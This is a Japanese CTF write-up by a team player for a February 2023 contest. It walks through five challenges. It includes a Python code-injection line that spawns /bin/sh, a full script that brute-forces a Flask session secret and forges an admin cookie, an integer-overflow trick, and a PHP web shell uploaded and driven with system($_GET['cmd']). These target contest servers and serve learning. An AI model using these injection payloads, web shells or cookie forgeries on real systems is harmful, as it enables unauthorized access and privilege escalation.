この大会は2023/2/2 2:00(JST)~2023/2/15 7:00(JST)に開催されました。
今回もチームで参戦。結果は29点で895チーム中50位でした。
自分で解けた問題をWriteupとして書いておきます。
Jan. 31 — Hello! (MISC 1)
Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。
valentine{s4n1ty_ch3ck}
Feb. 1 — Balloons (PWN 2)
print文に括弧がないので、python2系で動作していると思われる。evalと同様の動作をさせられるので、OSコマンドを実行できる。
$ nc 0.cloud.chals.io 34293 Welcome to your balloon order-tracking portal! Enter your tracking number here. __import__('os').system('/bin/sh') ls -l total 24 -rwxr-x--- 1 root ctf 280 Feb 1 05:23 Dockerfile -rwxr-x--- 1 root ctf 103 Jan 31 02:16 balloon_tracking_lookup.py -rwxr-x--- 1 root ctf 369 Jan 31 02:17 balloon_tracking_lookup.pyc -rwxr-x--- 1 root ctf 369 Feb 1 05:24 balloons.py -rwxr-x--- 1 root ctf 91 Feb 1 05:23 start.sh -r--r----- 1 root ctf 75 Jan 31 02:16 valentine.txt cat valentine.txt valentine{0ops_i_go7_hydrog3n_ball00n5_NONOWHEREAREYOUGOINGWITHTHATLIGHTER}
valentine{0ops_i_go7_hydrog3n_ball00n5_NONOWHEREAREYOUGOINGWITHTHATLIGHTER}
Feb. 2 — Chocolates (WEB 3)
HTMLソースを見ると、以下のコメントがある。
<!--<a class="head-cont nav-link" href="/hidden-page">Hidden Page</a> | -->
https://chocolates-mhsctf.0xmmalik.repl.co/hidden-pageにアクセスすると、以下のメッセージが表示された。
リンクされている/static/style.cssを見てみると、以下のコメントがある。
/* TEMP - here's a key in case i forget it: "?key=thedarkestchocolate" */
https://chocolates-mhsctf.0xmmalik.repl.co/hidden-page?key=thedarkestchocolateにアクセスすると、以下のメッセージが表示された。
"Click here to verify that you are an admin."をクリックし、https://chocolates-mhsctf.0xmmalik.repl.co/admin-check?key=anotherkeylolに遷移する。
そこにはImpostorの画像があるだけ。クッキーのsessionには、以下が設定されている。
eyJhZG1pbiI6ImZhbHNlIn0.Y9r38A.L3HuuWqH2H1FElR-RkBvEKtv-jo
Flaskのsessionのようなので、ブルートフォースでそのkeyを求め、"admin"を"true"にしたものを求める。
#!/usr/bin/env python3 from flask.sessions import SecureCookieSessionInterface from itsdangerous import base64_decode, URLSafeTimedSerializer class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface): def get_signing_serializer(self, secret_key): signer_kwargs = { 'key_derivation': self.key_derivation, 'digest_method': self.digest_method } return URLSafeTimedSerializer( secret_key, salt=self.salt, serializer=self.serializer, signer_kwargs=signer_kwargs ) class FlaskSessionCookieManager: @classmethod def decode(cls, secret_key, cookie): sscsi = SimpleSecureCookieSessionInterface() signingSerializer = sscsi.get_signing_serializer(secret_key) return signingSerializer.loads(cookie) @classmethod def encode(cls, secret_key, session): sscsi = SimpleSecureCookieSessionInterface() signingSerializer = sscsi.get_signing_serializer(secret_key) return signingSerializer.dumps(session) cookie = b'eyJhZG1pbiI6ImZhbHNlIn0.Y-Nfrw.y2or1_6oCIXck7Xbqc3u_X6AncE' with open('dict/rockyou.txt', 'rb') as f: words = f.read().splitlines() for key in words: try: session = FlaskSessionCookieManager.decode(key, cookie) print('key =', key.decode()) print('session =', session) break except: continue admin_session = session admin_session['admin'] = "true" admin_cookie = FlaskSessionCookieManager.encode(key, admin_session) print('admin cookie =', admin_cookie)
実行結果は以下の通り。
key = BATMAN session = {'admin': 'false'} admin cookie = eyJhZG1pbiI6InRydWUifQ.Y-ZKIg.N-D48WXlY7AQ4QeCETs7O_XhYhs
この値をクッキーのsessionキーに設定し、リロードする。
valentine{1ts_jus7_100%_cacao}
Feb. 5 — Rescue Mission (PWN 6)
サーバの処理概要は以下の通り。
・typedef struct { int health; int attack; int priority; } entity; ・entity player = {100, 3, 4}; ・entity boss = {1, 250, -1}; ・int money = 15; ・srand(time(NULL)); ・[Enter]入力待ち ・3回以下繰り返し ・doShop(money); ・selection: 入力(0~3) ・selectionが0の場合 ・done = 1; ・selectionが1の場合 ・selection: 入力(1~3) ・quantity: 入力 ・selectionが1の場合 ・price = 5 ・buff = 3 ・selectionが2の場合 ・price = 20 ・buff = 15 ・selectionが3の場合 ・price = 50 ・buff = 50 ・qint: quantityの数値化 ・quantity[0] が "-"の場合、qint *= -1 ・int cost = qint * price; ・costを表示 ・costがmoneyより大きい場合 ・メッセージ表示 ・入力待ち ・costがmoney以下の場合 ・moneyからcostマイナス ・player.health -= buff * qint; ・moneyを表示 ・入力待ち ・selectionが2の場合 ・quantity: 入力 ・int price = 10; ・int buff = 1; ・qint: quantityの数値化 ・quantity[0] が "-"の場合、qint *= -1 ・int cost = qint * price; ・costがmoneyより大きい場合 ・メッセージ表示 ・入力待ち ・costがmoney以下の場合 ・moneyからcostマイナス ・player.attack -= buff * qint; ・moneyを表示 ・入力待ち ・selectionが3の場合 ・quantity: 入力 ・int price = 20; ・int buff = 1; ・qint: quantityの数値化 ・quantity[0] が "-"の場合、qint *= -1 ・int cost = qint * price; ・costがmoneyより大きい場合 ・メッセージ表示 ・入力待ち ・costがmoney以下の場合 ・moneyからcostマイナス ・player.priority -= buff * qint; ・moneyを表示 ・入力待ち ・entity enemy = {rand() % 100 + 50, rand() % 3 + 3, rand() % 10}; ・int earned = doBattle(player, enemy); ・earnedが0より大きい場合は勝ち、moneyがeaened分だけ増える。 ・money = 15 ・doShop(); ・doBattle(player, boss)が0より大きい場合はフラグを表示
PRIORITYが大きく(優先度が低く)なってもよいので、PRI Upgradeで、整数オーバフローさせてお金を稼ぐ。
・quantity: 4294960000 → PRI: 7300 → money: $145935
次に稼いだお金でHP Upgradeをする。
・3. +50 HP ・quantity: 2000 → HP: 100100 → money: $45935
さらに稼いだお金でATK Upgradeをする。
・quantity: 300 → ATK: 303 → money: $42935
あとは適当に入力していけば、勝てる。最終的には以下のメッセージが表示される。
YOU SAVED ALEX! Here's your flag: valentine{phew_s4f3_and_50und}
valentine{phew_s4f3_and_50und}
Feb. 6 — Passing Notes (CRYPTO 7)
暗号化処理の概要は以下の通り。
・b64_alpha = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\\=" ・field = list(GF(2**6)) ・key = generate_secret_key(10) ・key = 1 ・10回以下繰り返し ・keyにfieldからランダムに選択したものを乗算 ・keyにfieldからランダムに選択したものを加算 ・keyを返却 ・encrypt(flag, key)を出力 ・message: flagをbase64エンコード ・encrypted = '' ・mod_key = 6 * key**6 + 3 * key**4 + 7 * key**3 + 15 ・messageの各文字について以下を実行 ・encrypted += b64_alpha[field.index(field[b64_alpha.index(chr(char))] * mod_key)]
keyは64種類しかないため、ブルートフォースで復号する。
#!/usr/bin/env python3 from base64 import b64decode from sage.all import GF def is_printable(s): for c in s: if c < 32 or c > 126: return False return True b64_alpha = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\\=" field = list(GF(2**6)) enc = 'V4m\\GDMHaDM3WKy6tACXaEuXumQgtJufGEyXTAtIuDm5GEHS' for key in field: mod_key = 6 * key**6 + 3 * key**4 + 7 * key**3 + 15 dic = {} for char in b64_alpha: enc_char = b64_alpha[field.index(field[b64_alpha.index(char)] * mod_key)] dic[enc_char] = char message = '' for char in enc: message += dic[char] try: flag = b64decode(message) if is_printable(flag): flag = flag.decode() print(flag) break except: continue
valentine{th15_is_4_s3cret_m355age}
Feb. 9 — Music (WEB 10)
試しに"a"と入力して、送信してみると、以下にURLに遷移し、「Your message was saved at /message/nhwqq6828.php.」と表示された。
https://music-mhsctf.0xmmalik.repl.co/send.php?message=a
https://music-mhsctf.0xmmalik.repl.co/message/nhwqq6828.phpにアクセスすると、aと表示される。phpコードを入力したら、それが機能するかもしれない。以下を入力して、送信してみる。
<?php eval($_GET['cmd']); ?>
「Your message was saved at /message/awslv9932.php.」と表示された。
https://music-mhsctf.0xmmalik.repl.co/message/awslv9932.php?cmd=idにアクセスすると、以下のメッセージが表示された。
Parse error: syntax error, unexpected end of file in /home/runner/music-mhsctf/message/awslv9932.php(1) : eval()'d code on line 1
evalはダメのようだ。system関数を使う。以下を入力して、送信してみる。
<?php system($_GET['cmd']); ?>
「Your message was saved at /message/mhisb6727.php.」と表示された。
https://music-mhsctf.0xmmalik.repl.co/message/mhisb6727.php?cmd=id にアクセスすると、以下のように表示された。
uid=1000(runner) gid=1000(runner) groups=1000(runner)
https://music-mhsctf.0xmmalik.repl.co/message/mhisb6727.php?cmd=pwd にアクセスすると、以下のように表示された。
/home/runner/music-mhsctf/message
https://music-mhsctf.0xmmalik.repl.co/message/mhisb6727.php?cmd=ls -l にアクセスすると、以下のように表示された。
total 5940 -r--r--r-- 1 runner runner 94 Feb 7 02:33 aacpv7162.php -r--r--r-- 1 runner runner 39 Feb 6 06:33 abeyn1385.php -r--r--r-- 1 runner runner 7 Feb 8 01:14 abnph0061.php -r--r--r-- 1 runner runner 39 Feb 8 10:34 acdlq1509.php -r--r--r-- 1 runner runner 3 Feb 12 06:44 acfmx9177.php -r--r--r-- 1 runner runner 3 Feb 6 19:12 acmts5249.php -r--r--r-- 1 runner runner 42 Feb 12 06:51 adblr2614.php -r--r--r-- 1 runner runner 27 Feb 6 06:53 adbxs5511.php -r--r--r-- 1 runner runner 26 Feb 6 12:22 adfgr5888.php -r--r--r-- 1 runner runner 16 Feb 9 01:27 adkzq2556.php : -r--r--r-- 1 runner runner 236 Feb 7 02:35 zvieu6265.php -r--r--r-- 1 runner runner 14 Feb 8 05:50 zvikp3599.php -r--r--r-- 1 runner runner 37 Feb 10 22:57 zvmxa1284.php -r--r--r-- 1 runner runner 55 Feb 8 10:07 zvqxp8065.php -r--r--r-- 1 runner runner 3 Feb 6 07:18 zweyc6044.php -r--r--r-- 1 runner runner 93 Feb 8 00:55 zwmne5311.php -r--r--r-- 1 runner runner 27 Feb 6 06:19 zxomm0118.php -r--r--r-- 1 runner runner 0 Feb 13 14:47 zycgb1511.php -r--r--r-- 1 runner runner 36 Feb 5 18:21 zyzrd4755.php -r--r--r-- 1 runner runner 18 Feb 9 01:24 zzgko0680.php -r--r--r-- 1 runner runner 47 Feb 12 07:00 zzlut4259.php
あまりにもたくさんあるので、grepで検索してみる。
https://music-mhsctf.0xmmalik.repl.co/message/mhisb6727.php?cmd=grep -r valentine . にアクセスすると、以下のように表示された。
./green2051.php:valentine{n3ver_g0nn4_give_y0u_up} ./pyxqy7576.php:<?php echo system("grep -ril 'valentine{'"); ?> ./dwohq2384.php:<?php echo system("grep -ril 'valentine{'"); ?> ./gshnh7383.php:$o= shell_exec('find / -name valentine'); ./nxrtf6519.php:<?php echo(shell_exec('grep -R valentine'); ?> ./zjzai0749.php:<?php echo(shell_exec('grep -R valentine .'); ?> ./spyig5716.php:<?php echo(shell_exec("grep -R valentine ..")) ?> ./oioxq8481.php:$file = $_GET['valentine.txt']; ./papxh0354.php:$file = $_GET['valentine.txt']; ./tbutx4214.php:valentine ./uoots8312.php:valentine ./kutqx1663.php:valentine ./wqyar2704.php:$output = shell_exec('ls | xargs cat | grep valentine'); ./mpxdc0136.php:$output = shell_exec('grep valentine *'); ./sxfna5519.php:print($valentine)?> ./vvdab4826.php:exec('grep ../../ -R "valentine{"', $output); ./wxyhf4108.php:exec('grep "valentine" ../../ -R ', $output); ./rjgqv6117.php:<?php system("grep -ri "valentine" | base64");?> ./xnyko9393.php:<?php system("grep -ri "valentine" | base64");?> ./ysmib4234.php:<?php system("grep -ri valentine | base64");?> ./ivzsr9235.php:exec('grep "valentine{" / 2>&-', $output); ./qxbkp9094.php:exec('grep "valentine{" / -R 2>&-', $output); ./vezfq3927.php:echo shell_exec("grep valentine{ -rl ../"); ./agkzc5613.php:<div><?php echo shell_exec('find / -name "valentine*"') ?></div> ./dqxdj4042.php:exec("ls /srv /root; grep 'valentine' -R /home", $output); ./yesoo7833.php: exec($out, 'grep -R valentine{'); ./shxle9452.php:exec("grep 'valentine{n3ver_g0nn4_give_y0u_up}' -R .", $output); ./qbsps5810.php:valentine
./green2051.phpにフラグが書かれていた。
valentine{n3ver_g0nn4_give_y0u_up}